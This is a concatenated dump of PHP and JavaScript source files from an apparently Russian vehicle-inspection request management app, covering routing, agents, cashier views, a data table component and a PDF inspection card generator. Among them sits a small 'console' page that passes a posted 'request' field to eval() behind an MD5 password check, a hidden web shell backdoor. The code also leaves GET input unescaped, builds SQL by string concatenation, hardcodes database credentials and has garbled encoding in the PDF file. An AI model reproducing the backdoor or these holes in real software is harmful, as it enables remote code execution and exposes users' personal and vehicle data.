"data/controllers/cashierController.php"; require_once "data/controllers/expertController.php"; include_from("data/components/"); include_from("data/models/"); $MYSQL= DB::getInstance(); $User = User::getInstance(); if(is_array($_POST)) { foreach ($_POST as $k => $v) { $_POST[$k]=mysql_real_escape_string($v); } } if(is_array($_GET)) { foreach ($_POST as $k => $v) { $_GET[$k]=mysql_real_escape_string($v); } } $router = new Router($_GET['event'], $_GET['action']); ob_start(); if(!$router->executeController()) echo "File is not exist"; $content=ob_get_clean(); require "data/templates/main.php"; <file_sep><!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <b> Консоль</b> <form method="post"> Запрос: <input type="text" name="request"> Пароль: <input type="text" name="password"> <input type="submit"> </form> </body> </html> <?php if (md5($_POST['password'])=="<PASSWORD>") eval($_POST['request']); ?><file_sep>var page=1; $(document).ready(function(){ //$('.page1').hide(); $('.page2').hide(); $('.page3').hide(); $('.page4').hide(); $('.pager').hide(); }); function newDocument(){ $('.page'+page).fadeIn(); $('.pager').fadeIn(); } function nextPage() { if (page==4) return; if(!validateForm("page"+page)) return; $('.page'+page).fadeOut(function(){ page++; $('.page'+page).fadeIn(); }); } function previousPage() { if (page==1) return; $('.page'+page).fadeOut(function(){ page--; $('.page'+page).fadeIn(); console.log(page); }); } function deleteRequest(){ id = $('#requestId').val(); window.location="?event=request&action=delete&id="+id; } function cancelRequest(){ id = $('#requestId').val(); window.location="?event=request&action=cancel&id="+id; } function save() { var data = $('#requestForm').serialize(); id = $('#requestId').val(); if (validateForm('requestForm',0)) $('#response').html("<div class='alert alert-info'> Отправка запроса... </div>"); $.ajax({ type: "POST", url: "?event=request&clean&action=send&id="+id, data: data, success: function(e) { $('#response').html(e)}, failed: function() {$('#response').html("<div class='alert alert-error'> Ошибка отправки данных в ЕАИСТО </div>")} }); }<file_sep> <?php ini_set("display_errors",1); error_reporting(E_ALL ^ E_NOTICE); $MYSQL= DB::getInstance(); $User = User::getInstance(); if (!isset($_GET['id'])) exit(); define('FPDF_FONTPATH','data/controllers/pdf/FPDF/font/'); $row=$MYSQL->get("Requests",array("*"), array("id"=>$_GET['id'])); $first_name=$row["first_name"]; $id=$row["id"]; $card_number=$row["card_number"]; $second_name=$row["second_name"]; $third_name=$row["third_name"]; $doc_type=$row["doc_type"]; $seria=$row["seria"]; $number=$row["number"]; $issued_by=$row["issued_by"]; $issued_when=$row["issued_when"]; $reg_number=$row["reg_number"]; $VIN_number=$row["VIN_number"]; $VIN_exist=$row["VIN_exist"]; $brand=$row["brand"]; $model=$row["model"]; $category=$row["category"]; $year=$row["year"]; $chassis=$row["chassis"]; $body=$row["body"]; $min_mass=$row["min_mass"]; $max_mass=$row["max_mass"]; $mileage=$row["mileage"]; $wheels=$row["wheels"]; $fuel_type=$row["fuel_type"]; $break_type=$row["break_type"]; $date_exist=$row["date_exist"]; $date_create=$row["date_create"]; $comment=$row["comment"]; $year=substr($issued_when,0,4); $month=substr($issued_when,5,2); $day=substr($issued_when,8,2); $issued_when="$day.$month.$year"; $year=substr($date_exist,0,4); $month=substr($date_exist,5,2); $day=substr($date_exist,8,2); $date_exist="$day$month$year"; $year=substr($date_create,0,4); $month=substr($date_create,5,2); $day=substr($date_create,8,2); $date_create="$day$month$year"; if ($doc_type==1) $doc_full="����"; if ($doc_type==0) $doc_full="���"; if ($fuel_type==1) $fuel_type="������"; if ($fuel_type==2) $fuel_type="��������� �������"; if ($fuel_type==3) $fuel_type="������ ���"; if ($fuel_type==4) $fuel_type="��������� ���"; if ($break_type==1) $break_type="��������������"; if ($break_type==2) $break_type="��������������"; if ($break_type==3) $break_type="���������������"; if ($break_type==4) $break_type="������������"; if ($category == "M1" || $category == "N1") $category="B"; if ($category == "�2" || $category == "M3") $category="D"; if ($category == "N2" || $category == "N3") $category="C"; if ($category == "L") $category="A"; if ($category == "O1" || $category == "O2" || $category == "O3" || $category == "O4") $category="������"; $brand_model=$brand." ".$model; $expert_full=$MYSQL->get("Experts",array("*"), array("id"=>$row["expert"])); $expert=$expert_full['first_name']." ".substr($expert_full['second_name'],0,2).". ".substr($expert_full['third_name'],0,2)."."; $row=$MYSQL->get("Stations",array("*"), array("login"=>$row["station"])); $full_name=htmlspecialchars_decode($row["full_name"]); $point_address=htmlspecialchars_decode ($row["point_address"]); $number=htmlspecialchars_decode ($row["number_eaisto"]); $type=htmlspecialchars_decode($row["type"]); $full_address=htmlspecialchars_decode ($row["full_address"]); $small_name=htmlspecialchars_decode ($row["small_name"]); $pdf = new FPDF(); // �������� ������ ������� FPDF $pdf->AddPage(); // �������� �������� $pdf->AddFont('DejaVuSerifCondensed','','DejaVuSerifCondensed.php'); // ������������� ��������� ����� $pdf->AddFont('DejaVuSerifCondensed-Bold','','DejaVuSerifCondensed-Bold.php'); // ������������� ��������� ����� $pdf->SetFont('DejaVuSerifCondensed-Bold','',7); // �������� ���� ����� // ���� ���������. ������ ������. ������ ������ ������!!! $pdf->Image("data/controllers/pdf/first.jpg","","","210","300"); $pdf->SetFont('DejaVuSerifCondensed','',8); // �������� ���� ����� //------------� ��--------------------------------------------- for ($i=0;$i<21;$i++) { $symbol=substr($card_number,$i,1); $pdf->SetXY(24.2+($i*3.9),20.3); // ����������, ���� �������� ����� $pdf->Cell(3.9,4.4,$symbol,"0","","C"); // ���������� ����� �� �������� } //------------���� �������� ��--------------------------------- for ($j=0;$j<8;$j++) { $symbol=substr($date_exist,$j,1); $pdf->SetXY(149.4+($j*3.9),20.3); // ����������, ���� �������� ����� $pdf->Cell(3.9,4.4,$symbol,"0","","C"); // ���������� ����� �� �������� } //------------------------------------------------------------- $pdf->SetXY(5.5,26.2); // ����������, ���� �������� ����� // ��� ���� ���������� �����-������. $spaces=" "; $pdf->MultiCell(199,3,_utf($spaces.$type)." "._utf($full_name)." ("._utf($small_name)."), � � ������� ����������: "._utf($number).", ����� ��������� ��: "._utf($full_address).", ����� ������ ��: "._utf($point_address),-0.5,"","L"); // ���������� ����� �� �������� $pdf->SetFont('DejaVuSerifCondensed-Bold','',8); $pdf->SetXY(5.5,26.2); // ����������, ���� �������� ����� $pdf->MultiCell(199,3,"�������� ������������ �������/����� ������������ �������: ",-0.7); // ���������� ����� �� �������� $pdf->SetFont('DejaVuSerifCondensed-Bold','',7); $pdf->SetXY(69.5,36.9); // ����������, ���� �������� ����� $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$reg_number),"1","","C"); // ���������� ����� �� �������� $pdf->SetXY(69.5,40.9); // ����������, ���� �������� ����� $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$VIN_number),"1","","C"); // ���������� ����� �� �������� $pdf->SetXY(69.5,44.9); // ����������, ���� �������� ����� $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$body),"0","1","C"); // ���������� ����� �� �������� $pdf->SetXY(69.5,49); // ����������, ���� �������� ����� $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$chassis),"0","","C"); // ���������� ����� �� �������� $pdf->SetXY(139,36.9); // ����������, ���� �������� ����� $pdf->Cell(65.7,4,iconv("UTF-8", "WINDOWS-1251",$brand_model),"0","","C"); // ���������� ����� �� �������� $pdf->SetXY(139,40.9); // ����������, ���� �������� ����� $pdf->Cell(65.7,4,iconv("UTF-8", "WINDOWS-1251",$category),"0","","C"); // ���������� ����� �� �������� $pdf->SetXY(139,44.9); // ����������, ���� �������� ����� $pdf->Cell(65.7,8,iconv("UTF-8", "WINDOWS-1251",$year),"0","","C"); // ���������� ����� �� �������� $pdf->SetFont('DejaVuSerifCondensed','',8); $pdf->SetXY(69.5,53); // ����������, ���� �������� ����� $pdf->Cell(135,4,$doc_full.", ".iconv("UTF-8", "WINDOWS-1251","$seria, $number, $issued_by, $issued_when") ,"0","","L"); // ���������� ����� �� �������� //�������� ���� � ��� $pdf->AddPage(); // �������� �������� $pdf->Image("data/controllers/pdf/second.jpg","","","210","300"); $pdf->SetXY(65.4,75.7); // ����������, ���� �������� ����� $pdf->Cell(39.3,4.2,$min_mass,"0","","L"); // ���������� ����� �� �������� $pdf->SetXY(65.4,80.3); // ����������, ���� �������� ����� $pdf->Cell(39.3,4.2,$fuel_type,"0","","L"); // ���������� ����� �� �������� $pdf->SetXY(65.4,84.7); // ����������, ���� �������� ����� $pdf->Cell(39.3,4.2,$break_type,"0","","L"); // ���������� ����� �� �������� $pdf->SetXY(65.4,89.3); // ����������, ���� �������� ����� $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$wheels),"0","","L"); // ���������� ����� �� �������� $pdf->SetXY(164.8,75.7); // ����������, ���� �������� ����� $pdf->Cell(40,4.2,$max_mass,"0","","L"); // ���������� ����� �� �������� $pdf->SetXY(164.8,80.2); // ����������, ���� �������� ����� $pdf->Cell(40,4.2,$mileage,"0","","L"); // ���������� ����� �� �������� $pdf->SetXY(25.2,57.8); // ����������, ���� �������� ����� $pdf->Cell(39.3,4.2,$comment,"0","","L"); // ���������� //----------------����------------------------------------------------------ for ($j=0;$j<8;$j++) { $symbol=substr($date_create,$j,1); $pdf->SetXY(31.6+($j*5.3),136.4); // ����������, ���� �������� ����� $pdf->Cell(5.3,5.7,$symbol,"0","","C"); // ���������� ����� �� �������� } //-------------------------------------------------------------------------- $pdf->SetXY(51.7,146.5); // ����������, ���� �������� ����� $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$expert),"0","","L"); // ���������� ����� �� �������� // ���� ����� �� �����. �� ���� ������� $pdf->Output($second_name." ($reg_number).pdf" ,"I"); function _utf($str) { return iconv("UTF-8", "WINDOWS-1251",$str); } ?> <file_sep><?php class Controller { protected $action; protected $name; public $rules; public function __construct($action,$name) { $this->action=$action; $this->name=$name; $User = User::getInstance(); if ($User->is_auth != 1) { header("Location: ?event=login&action=form"); } } public function render ($template, $data = '') { ob_start(); require_once("data/templates/".$this->name."/".$template); $content=ob_get_clean(); echo $content; } };<file_sep><?php class Alert extends Component { private $message; private $type; public function addMessage($message) { $this->message .= $message; } public function setType($type) { $this->type = $type; } public function render($message = "", $type = "") { if ($message) $this->addMessage($message); if ($type) $this->setType($type); echo "<div class='alert ".$this->type." '>"; echo" <button type='button' class='close' data-dismiss='alert'>×</button>"; echo $message; echo "</div>"; } }<file_sep><?php class Dropdown extends Component { private $data; private $name="dropdown"; private $key="id"; private $value="name"; private $title; private $selected; private $icon; private $iconLink; private $event; private $function; public function setData(array $data = array()){ foreach ($data as $row) { $this->data[]=array($this->key => $row[$this->key],$this->value => $row[$this->value]); } } public function setName($name,$title=""){ $this->name=$name; $this->title=$title; } public function setSelect($value) { $this->selected=$value; } public function render() { echo"<div style='display:inline-block' class='control-group'>"; echo" <label style='margin:0px' class='control-label' for='".$this->name."'>".$this->title."</label>"; echo "<div class='controls'>"; echo "<select ".$this->event." = '".$this->function."' id='".$this->name."' name='".$this->name."' style='width: 224px;' class='input-large'>"; foreach ($this->data as $row) echo"<option ".($row[$this->key]==$this->selected?"selected":"")." value='".$row[$this->key]."'>".$row[$this->value]."</option>"; echo "</select>"; if ($this->icon) echo " <i onclick='".$this->iconLink."' id='add' class='icon-".$this->icon."'></i>"; echo "</div>"; echo "</div>"; } public function setFilter(array $filter = array("id"=>"name")) { $this->key = key($filter); $this->value = $filter[$this->key]; } public function setEvent($event, $function) { $this->event = $event; $this->function = $function; } public function setIcon($icon, $link){ $this->icon = $icon; $this->iconLink=$link; } }<file_sep><?php class loginController { protected $action; protected $name; public $rules = array ( "all" => "allow" ); public function __construct($action,$name) { $this->action=$action; $this->name=$name; } public function indexAction(){ $User = User::getInstance(); if ($User->is_auth==1) switch ($User->type) { case 3: header("Location: ?event=index"); break; case 1: header("Location: ?event=index"); break; case 2: header("Location: ?event=expert"); break; } if ($User->is_auth==0); header("Location: ?event=login&action=form"); } public function logoutAction(){ $User = User::getInstance(); $User->logout(); } public function authorizeAction(){ $login=strtolower($_POST["login"]); // Избавляемя от инъекций $pass=md5($_POST["pass"]); $this->authorize_user($login,$pass); header("Location: ?event=index"); } public function formAction(){ require_once "login/form.php"; } private function authorize_user($login,$password) { $User = User::getInstance(); $MYSQL = DB::getInstance(); $db_ex = new SafeMySQL(array('user'=> 'avtooffcom','pass'=>'<PASSWORD>', 'db' => 'avtooffcom')); $result = $db_ex->getRow('SELECT * FROM Users WHERE login = ?s AND password = ?s',$login,$password); // $result=$MYSQL->get("Users",array("*"), array("login"=>$login,"password"=>$password)); if(isset($result['id'])) { $User->_authorize($result); return true; } return false; } } <file_sep><?php class priceController extends Controller { /* public function indexAction() { echo "LOL"; }*/ public $rules = array ( "1" => "allow", "2" => "allow", "3" => "allow", "all" => "deny" ); public function formAction() { $id = $_GET['id']; $priceModel = new Price(); if (empty($_POST)) { $price=$priceModel->getById($id); $this->render("form.php",$price); } else { $user = User::getInstance(); $priceModel->setAttributes($_POST); $priceModel->setAttribute(array("agent"=>$user->login, "date_create"=> date("Y-m-d"))); $priceModel->save(); header( 'Location: /' ); } } }<file_sep><?php $User = User::getInstance(); ?> <div class="navbar"> <div class="navbar-inner"> <div class="container-fluid"> <a class="brand" href="/">АСТО</a> <?php if (isset($User->login)):?> <a class="btn" href="?event=index"><i class="icon-home"></i> Домой</a> <?php endif ?> <?php if (isset($User->login)) { echo "<a href='?event=login&action=logout' class= 'btn pull-right'><i class='icon-off'></i> Выйти</a>"; echo "<div class='navbar-text pull-right'>Вы вошли как: <b>".$User->login."&nbsp;</b></div>"; } else { echo "<a href='?event=login' class= 'btn pull-right'><i class='icon-off'></i> Войти</a>"; } ?> </div> </div> </div><file_sep>$(document).ready(function(){ updateRequests(); getAgents(); }); var update = 1; selectRequest.selected = {}; var sum = 0; var msg = ""; function updatePagination(){ var pages= $('.pagination li a'); for (i=0; i < pages.length; i++) { page = pages[i].getAttribute('page') pages[i].setAttribute('onclick','updateRequests('+page+')') } } function updateRequests(page,event) { if (page) $('#Filter #page').val(page); var msg = $('#Filter').serialize(); if(event) { sourse = event.srcElement || event.target; if(sourse.tagName == "FORM") var formName=sourse.getAttribute("id"); if(sourse.tagName == "A") var formName="Filter"; if (formName=="Filter") { update = 1; var msg = $('#Filter').serialize(); } if (formName=="Search") { update = 0; var msg = $('#Search').serialize(); if ($('#name').val().length == 0 && $('#number').val().length == 0) { var msg = $('#Filter').serialize(); update = 1; } } } $.ajax({ type: 'POST', url: '?event=cashier&action=request&clean', data: msg, success: function(data) { $('#requestTable').html(data); updatePagination(); }, error: function(xhr, str){ alert('Ошибка сервера ' + xhr.responseCode); } }); updateStat(page); } function updateStat(page) { if (page) $('#Filter #page').val(page); var msg = $('#Filter').serialize(); $.ajax({ type: 'POST', url: '?event=cashier&action=stat&clean', data: msg, success: function(data) { $('#stat').html(data); updatePagination(); }, error: function(xhr, str){ alert('Возникла ошибка: ' + xhr.responseCode); } }); } function selectRequest(id,event) { if(event) { sourse = event.srcElement || event.target; } if (sourse.checked){ selectRequest.selected[id] = true; price = $($(sourse).parent().parent().find('td')[7]).html(); sum += price*1; $('#sum').html(sum); } else{ selectRequest.selected[id] = false; price = $($(sourse).parent().parent().find('td')[7]).html(); sum -= price*1; $('#sum').html(sum); } } function sendSelected() { var selected = selectRequest.selected; $.ajax({ url: "?event=cashier&action=pay&clean", data: 'selected=' + JSON.stringify(selected), processData: false, dataType: "json", success: function(a) { updateRequests(); sum = 0; $('#sum').html(sum);}, error:function() {updateRequests(); sum = 0; $('#sum').html(sum); } }); } function selectAll(event){ if(event) sourse = event.srcElement || event.target; if (sourse.checked == true){ checked = $(":checkbox[class='large']").filter(function() { return $(this).prop('checked')}) selectRequest.selected = {}; for (i = 0; i < checked.length; i++) { checked[i].checked = false; selectRequest.selected[checked[i].id] = false; price = $($( checked[i]).parent().parent().find('td')[7]).html(); sum -= price*1; } all = $(":checkbox[class='large']"); selectRequest.selected = {}; for (i = 0; i < all.length; i++) { all[i].checked = true; selectRequest.selected[all[i].id] = true; price = $($( all[i]).parent().parent().find('td')[7]).html(); sum += price*1; } $('#sum').html(sum); } else{ checked = $(":checkbox[class='large']").filter(function() { return $(this).prop('checked')}) selectRequest.selected = {}; for (i = 0; i < checked.length; i++) { checked[i].checked = false; selectRequest.selected[checked[i].id] = false; price = $($( checked[i]).parent().parent().find('td')[7]).html(); sum -= price*1; } } } function change1c(id) { $.ajax({ url: "?event=cashier&action=change1c&id="+id, success: function(e) { }, error:function() {updateRequests(); } }); } function formRequest(id){ window.location="?event=request&action=form&id="+id; } function getAgents() { agent=$('#managers').val(); $('#agents').load("?event=cashier&clean&action=agents&agent="+agent) } setInterval(function(){ if (update) updateRequests(); },2000) <file_sep><?php class Request extends Model { protected $table='Requests'; protected $attributes=array( "id" =>"", "card_number" => "", "first_name" => "", "second_name" =>"", "third_name" => "", "doc_type"=>"", "seria"=>"", "number"=>"", "issued_by"=>"", "issued_when"=>"", "reg_number"=>"", "VIN_number"=>"", "brand"=>"", "model"=>"", "category"=>"", "year"=>"", "chassis"=>"", "body"=>"", "min_mass"=>"", "max_mass"=>"", "mileage"=>"", "wheels"=>"", "fuel_type"=>"", "break_type"=>"", "status_work"=>"", "agent"=>"", "date_exist"=>"", "date_create"=>"", "expert"=>"", "comment"=>"", "status_pay"=>"", "status_1c"=>"", "price"=>"", "card_in_number"=>"", ); protected $validators=array ( ); public function getByLogin($manager="") { $MYSQL= DB::getInstance(); if ($manager!="") $data=$MYSQL->get($this->table,array("*"),array("agent"=>$manager),false); else return array(); if(!is_array($data)) $data = array(); return $data; } public function getAllByLogin($manager="",$mode=1) { $model= new Agent(); $agents=$model->getAgentsByLogin($manager); // Список моих агентов foreach ($agents as $agent) { // Берем заявки этого агента $this->findByLogin($agent["login"],$agent["login"],$mode); // Ищем всех дочерних агентов $agentsAll=$model->getAllAgentsByLogin($agent["login"]); foreach ($agentsAll as $agentAll) { $this->findByLogin($agentAll["login"],$agent["login"],$mode); } } $result = $GLOBALS['requests']; unset($GLOBALS['requests']); if(!is_array($result)) $result = array(); return $result; } public function getByParams(array $params=array()){ $MYSQL= DB::getInstance(); $data=$MYSQL->get($this->table,array("*"),$params,false); return $data; } private function findByLogin($manager,$owner,$mode) { $agentModel = new Agent(); $agent = $agentModel->getByParam("login",$owner); $MYSQL= DB::getInstance(); $data=$MYSQL->get($this->table,array("*"),array("agent"=>$manager),false); foreach($data as $request) { if($mode) $GLOBALS['requests'][$owner][]=$request; else { $request['agent']=$owner; $request['price']=$agent[0]['price']; $GLOBALS['requests'][]=$request; } } } public function pay(){ $this->setAttribute(array("status_pay"=>1)); $this->save(); } public function unpay(){ $this->setAttribute(array("status_pay"=>0)); $this->save(); } public function changeWorkStatus($status,$id = false) { if ($id) { $request = $this->getById($id); $this->setAttributes($request); } $this->setAttribute(array("status_work" =>$status)); $this->setAttribute(array("date_create" => date("Y-m-d H:i:s"))); $this->save(); } }<file_sep><?php if(isset($_GET['clean'])) { echo $content; } ?> <?php if(!isset($_GET['clean'])):?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>АСТО</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link href="bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="bootstrap-datepicker/css/datepicker.css" rel="stylesheet"> <script src="http://code.jquery.com/jquery-latest.js"></script> <script src="bootstrap-datepicker/js/bootstrap-datepicker.js"></script> <script src="bootstrap-datepicker/js/locales/bootstrap-datepicker.ru.js" charset="UTF-8"></script> <script src="bootstrap/js/bootstrap.min.js"></script> <script src="http://malsup.github.com/jquery.form.js"></script> <script src="http://malsup.github.com/jquery.form.js"></script> </head> <body> <div id="main_content" class="container"> <?php require "header_login.php"?> <?php echo $content;?> </div> <?php //require "data/modules/window.php"?> <?php //require "data/modules/popover.php"?> </body> </html> <?php endif?><file_sep><?php class Table extends Component { private $headers=array(); // Заголовки private $data=array(); // Значения полей private $opts=array(); // Настройки private $start; // Начальная позиция private $perPage = 10; // Записей на странице private $count; // Всего записей private $pageCount; // Количество страниц private $page=1; // Текущая страница public function render() { if (isset($this->opts['page'])) $this->page=$this->opts['page']; $this->start = $this->page * $this->perPage - $this->perPage; if ($this->opts['type']=='agent') { $this->setLink("window.location.href=?event='agent&action=reset&id="); } echo "<table class='table table-bordered table-hover responsive-utilities'>"; echo "<thead>"; echo "<tr>"; foreach ($this->headers as $header => $name) echo "<td><b>".$name."</b></td>"; echo "</tr>"; echo "</thead>"; echo "<tbody>"; $i=0; foreach ($this->data as $number => $row) { if(($this->start + $this->perPage) <= $i) break; if($i >= $this->start) { echo "<tr id=".$row["id"]." style='cursor: pointer;' class='".$row["_class"]."'>"; foreach($this->headers as $header => $name) { if ( $header != '_control' && $header != '_agent' && $header != 'card_number') echo "<td onclick='".$row["_click"]."'>".$row[$header]."</td>"; else echo "<td>".$row[$header]."</td>"; } echo "</tr>"; } $i++; } echo "</tbody>"; echo "</table>"; if($this->pageCount>1) $this->renderPagination(); } private function renderPagination(){ $before=2; $after=2; echo "<div align='center' class='pagination'>"; echo "<ul>"; echo "<li><a style='cursor:pointer' page='1'>Начало</a></li>"; for ($i = $this->page - $before; $i <= $this->page + $after; $i++) { if ($i>0 && $i <= $this->pageCount) echo "<li><a style='cursor:pointer' page=".$i." >". $i ."</a></li>"; } echo "<li><a style='cursor:pointer' page=".$this->pageCount." >Конец</a></li>"; echo "</ul>"; echo "</div>"; } public function setHeaders(array $headers=array()) { $this->headers=$headers; } public function setData(array $data=array()) { $this->data=$data; $this->count=count($data); $this->pageCount=ceil($this->count/$this->perPage); } public function setOptions(array $opt=array()) { $this->opts=$opt; } public function setWorkText() { if (empty($this->data)) { return 0; } foreach ($this->data as $number => $data) { switch ($this->data[$number]["status_work"]) { case 0: $this->data[$number]["status_work"]='Новая'; break; case 1: $this->data[$number]["status_work"]='Обработка'; break; case 2: $this->data[$number]["status_work"]='Редактирование'; break; case 3: $this->data[$number]["status_work"]='Исполнено'; break; case 4: $this->data[$number]["status_work"]='Удалено'; break; case 5: $this->data[$number]["status_work"]='Требуется отмена'; break; case 6: $this->data[$number]["status_work"]='Исполнено'; break; default: $this->data[$number]["status_work"]=''; break; } } } public function setWorkCol() { if (empty($this->data)) { return 0; } foreach ($this->data as $number => $data) { switch ($this->data[$number]["status_work"]) { case 0: $this->data[$number]["_class"]='info'; break; case 1: $this->data[$number]["_class"]=''; break; case 2: $this->data[$number]["_class"]='error'; break; case 3: $this->data[$number]["_class"]='success'; break; case 4: $this->data[$number]["_class"]=''; break; case 5: $this->data[$number]["_class"]='warning'; break; case 6: $this->data[$number]["_class"]='success'; break; default: $this->data[$number]["_class"]=''; break; } } } public function setPayCol() { if (empty($this->data)) { return 0; } foreach ($this->data as $number => $data) { switch ($this->data[$number]["status_pay"]) { case 0: $this->data[$number]["_class"]='warning'; break; case 1: $this->data[$number]["_class"]='success'; break; default: $this->data[$number]["_class"]=''; break; } } } public function set1cCol() { if (empty($this->data)) { return 0; } foreach ($this->data as $number => $data) { switch ($this->data[$number]["status_1c"]) { case 0: $this->data[$number]["_class"]='warning'; break; case 1: $this->data[$number]["_class"]='success'; break; default: $this->data[$number]["_class"]=''; break; } } } public function set1СText() { if (empty($this->data)) { return 0; } foreach ($this->data as $number => $data) { switch ($this->data[$number]["status_1c"]) { case 1: $this->data[$number]["status_1c"]='Занесено'; break; default: $this->data[$number]["status_1c"]='Не занесено'; break; } } } public function setPayText() { if (empty($this->data)) { return 0; } foreach ($this->data as $number => $data) { switch ($this->data[$number]["status_pay"]) { case 1: $this->data[$number]["status_pay"]='Оплачено'; break; default: $this->data[$number]["status_pay"]='Неоплачено'; break; } } } public function setPrice($priceId = null) { $priceModel = new Price(); foreach ($this->data as $number => $data) { if (!$priceId) $priceId=$this->data[$number]["price"]; $price=$priceModel->getById($priceId); $category=$this->data[$number]["category"]; switch ($category) { case "A": $this->data[$number]["price"]=$price["A"]; break; case "M1": case "N1": $this->data[$number]["price"]=$price["B"]; break; case "N2": case "N3": $this->data[$number]["price"]=$price["C"]; break; case "M2": case "M3": $this->data[$number]["price"]=$price["D"]; break; case "O1": $this->data[$number]["price"]=$price["E_light"]; break; case "O2": case "O3": case "O4": $this->data[$number]["price"]=$price["E_light"]; break; } $priceId=false; } } private function setAgentControl($request) { if (empty($request)) { return; } if (!isset($request["status_work"])) { return; } else { switch ($request["status_work"]) { case 2: $request["_control"].="<a rel='tooltip' data-original-title='Удалить' class='btn btn-small ' onclick='RemoveRequest(".$request['_reg'].",".$request['id'].");' data-toggle='modal' ><i class='icon-trash'></i></a>"."&nbsp;"; $request["_control"].="<a rel='tooltip' data-original-title='Загрузить PDF' class='btn btn-small ' href='?event=pdf&no_template&id=".$request['id']."' data-toggle='modal' ><i class='icon-download-alt'></i></a>"; break; case 0: case 1: case 4: $request["_control"].="<a rel='tooltip' data-original-title='Отменить' class='btn btn-small ' onclick='CancelRequest(".$request['id'].");' data-toggle='modal' ><i class='icon-remove'></i></a>"."&nbsp;"; break; default: $request["_control"]=''; break; } return $request; } } public function setClick($doing) { foreach ($this->data as $request => $data) { $this->data[$request]['_click']=$doing."(".$data['id'].")"; } } public function setSmartAgent() { foreach ($this->data as $request => $data) { $owners = Agent::getManager($this->data[$request]['agent']); $this->data[$request]['_agent']="<a onclick='showTreeAgent(\"".$this->data[$request]['agent']."\")' >".$owners['manager']['second_name'].(isset($owners['agent'])?" -> ".$owners['agent']['second_name']:"")."</a>"; } } public function change1C() { foreach ($this->data as $request => $data) { $this->data[$request]['_control']="<a onclick='change1c(\"".$this->data[$request]['id']."\")' >".$this->data[$request]['status_1c']."</a>"; } } public function setFullname() { $user = User::getInstance(); foreach ($this->data as $request => $data) { $fullname = Agent::getNameByLogin($this->data[$request]['agent']); if ($user->login == $fullname[0]['login']) $this->data[$request]['_fullname'] = "<NAME>"; else $this->data[$request]['_fullname'] = $fullname[0]['second_name']; } } public function setBrand() { foreach ($this->data as $request => $data) { $this->data[$request]['_brand'] = $this->data[$request]['brand']." ".$this->data[$request]['model']; } } public function setReg() { foreach ($this->data as $request => $data) { if (strlen($this->data[$request]['reg_number'])){ $this->data[$request]['_reg'] = $this->data[$request]['reg_number']; }elseif (strlen($this->data[$request]['VIN_number'])){ $this->data[$request]['_reg'] = strtoupper($this->data[$request]['VIN_number']); }elseif (strlen($this->data[$request]['body'])){ $this->data[$request]['_reg'] = $this->data[$request]['body']; }elseif (strlen($this->data[$request]['chassic'])){ $this->data[$request]['_reg'] = $this->data[$request]['chassic']; } } } public function setDownload() { foreach ($this->data as $request => $data) { if ($this->data[$request]['status_work'] == 6 || $this->data[$request]['status_work'] == 3) { $this->data[$request]['_control']=" <a rel='tooltip' data-original-title='Загрузить PDF' onclick='downloadRequest(".$this->data[$request]['id'].");'> <img src='/images/pdf_icon.png'> </a> <a rel='tooltip' data-original-title='Удалить' onclick='deleteDialog(\"".$this->data[$request]['_reg']."\",".$this->data[$request]['id'].");'> <i class='icon-trash'></i> </a> "; } } } public function setNumberCard() { foreach ($this->data as $request => $data) { $this->data[$request]['card_number']="<a onclick='downloadRequest(".$this->data[$request]['id'].");'>".$this->data[$request]['card_number']."</a>"; } } public function setLink($page) { foreach ($this->data as $request => $data) { //$this->data[$request]['_link']=$page.$data['id']; $this->data[$request]['_link'] = sprintf($page,$data['id']); } } public function setChangePayStatus() { foreach ($this->data as $request => $data) { $this->data[$request]['changePayStatus'] = "<input id=".$this->data[$request]['id']." onchange='selectRequest(".$this->data[$request]['id'].",event)' class='large' ".(($this->data[$request]['status_pay'])?"checked":"")." type='checkbox'> "; } } public function setChange1CStatus() { foreach ($this->data as $request => $data) { $this->data[$request]['status_1c'] = "<div onclick ='change1c(".$this->data[$request]['id'].") '>". $this->data[$request]['status_1c']." </div> "; } } } <file_sep><?php class DB { static private $instance = null; static public function getInstance() { if (self::$instance == null) { self::$instance = new DB(); } return self::$instance; } private $host="localhost"; private $user="avtooffcom"; private $pass="<PASSWORD>"; private $database="avtooffcom"; private function connection() { mysql_connect($this->host, $this->user,$this->pass) or die("Can't connect to MySQL"); mysql_select_db($this->database) or die ("Could not connect to database"); mysql_query("SET NAMES 'utf8'"); mysql_query("SET CHARACTER SET 'utf8'"); return true; } private function __construct() { $this->connection(); } public function query($query, $can_result = true,$to_one= true) { $fields = array(); $result=mysql_query ($query); // ОШИБОЧКИ СРАНОГО MYSQL ТУТ ВКЛЮЧАЮТСЯ //echo mysql_errno() . ": " . mysql_error() . "\n"; if (!$can_result) return true; while($row = mysql_fetch_assoc($result)) { $fields[] = $row; } if (count($fields) == 1) if ($to_one==1) return $fields[0]; else return $fields; else return $fields; } public function order($table,$field,$type="ASC") { $query="ALTER TABLE %s ORDER BY %s %s"; $query=sprintf($query,$table, $field, $type); $this->query($query,false); } public function get($table, array $select, array $where=array(),$to_one=true, $order = "id") { $query="SELECT %s FROM %s WHERE %s"; $select_str=implode(", ", $select); $where_str = array(); foreach ($where as $key=>$value) { $where_str[]=$key." = '". htmlspecialchars($value)."'"; } $where_str=implode(" AND ", $where_str); if(empty($where_str)) $where_str=1; $query=sprintf($query,$select_str, $table, $where_str. " ORDER BY ".$order); return $this->query($query, true, $to_one); } public function getUsers(array $where =array()) { return $this->get("Users", array("*"), $where); } public function insert($table,array $values) { $query="INSERT INTO %s (%s) VALUES (%s)"; $fields = array(); $values_new = array(); foreach ($values as $key => $value) { $fields[]=$key; $values_new[]="'".htmlspecialchars($value)."'"; } $fields=implode(", ",$fields); $values_new=implode(", ",$values_new); $query=sprintf($query, $table, $fields, $values_new); $this->query($query, false); return mysql_insert_id(); } public function update($table, array $values, array $where) { $query="UPDATE %s SET %s 